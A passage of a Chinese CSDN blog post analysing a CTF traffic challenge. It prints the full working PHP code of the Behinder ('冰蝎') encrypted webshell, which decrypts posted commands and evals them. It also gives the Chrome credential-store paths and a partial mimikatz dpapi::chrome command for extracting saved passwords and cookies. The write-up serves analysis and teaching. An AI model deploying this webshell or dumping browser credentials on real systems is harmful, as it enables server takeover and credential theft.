php一句话木马_记一次对“冰蝎”一句话木马流量的分析

本文介绍了对“冰蝎”PHP一句话木马的分析,包括其功能和实现方式,并展示了如何离线导出Chrome浏览器中保存的密码。在3CTF复赛的流量分析中,揭示了黑客攻击数据包的解密过程,通过Wireshark分析HTTP流量,解密获取服务器上的敏感信息。
摘要由CSDN通过智能技术生成

预备知识

“冰蝎”php一句话木马分析

“冰蝎”是什么?它是一款动态二进制加密网站管理客户端,它可以在HTTP明文协议中建立加密隧道,可以用于躲避传统的WAF、IDS等设备的检测。项目地址:

https://github.com/rebeyond/Behinder

“冰蝎”一句话木马可由Java、php、.net等语言来实现,我们以php为例来看这种新型的php一句话木马的实现:

<?php @error_reporting(0);session_start();//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中if (isset($_GET['pass'])){
        $key=substr(md5(uniqid(rand())),16);    $_SESSION['k']=$key;    print $key;}//如果没接收到pass参数,则利用存储到session的秘钥进行解密else{
        $key=$_SESSION['k'];    //接收POST来的加密后的待执行命令  $post=file_get_contents("php://input");    //如果不能加载openssl扩展,则使用base64解码  if(!extension_loaded('openssl'))  {
        $t="base64_"."decode";    $post=$t($post."");    for($i=0;$i           $post[$i] = $post[$i]^$key[$i+1&15];           }  }    //使用openssl进行AES解密  else  {
        $post=openssl_decrypt($post, "AES128", $key);  }    /*    将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为:    array("assert", "eval('phpinfo();')")    */    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];  class C{
    public function __construct($p) {
    eval($p."");}}    //创建C类,利用__construct中的eval来执行解密后的值  @new C($params);}?>
离线导出Chrome浏览器中保存的密码

DPAPI,Data Protection Application Programming Interface,是Windows系统的一个数据保护接口,主要用于保护加密的数据。Chrome使用DPAPI保存了我们的登录密码和cookie值

用户使用Chrome访问网站进行登录时,可以选择是否保存密码。当选择保存密码时,Chrome先将密码进行加密,再保存在SQLite数据库文件中,数据库文件路径位于:

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

同上,保存Cookie时,数据库文件路径为:

%LocalAppData%\Google\Chrome\User Data\Default\Cookies

存储的cookie值被加密为DPAPI blob来进行保护;我们可以通过使用Mimikatz这个工具来对Chrome中的SQLite数据库进行解析:

mimikatz dpapi::chrome /in:'%LocalAppData%\Google\Chrome\User
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值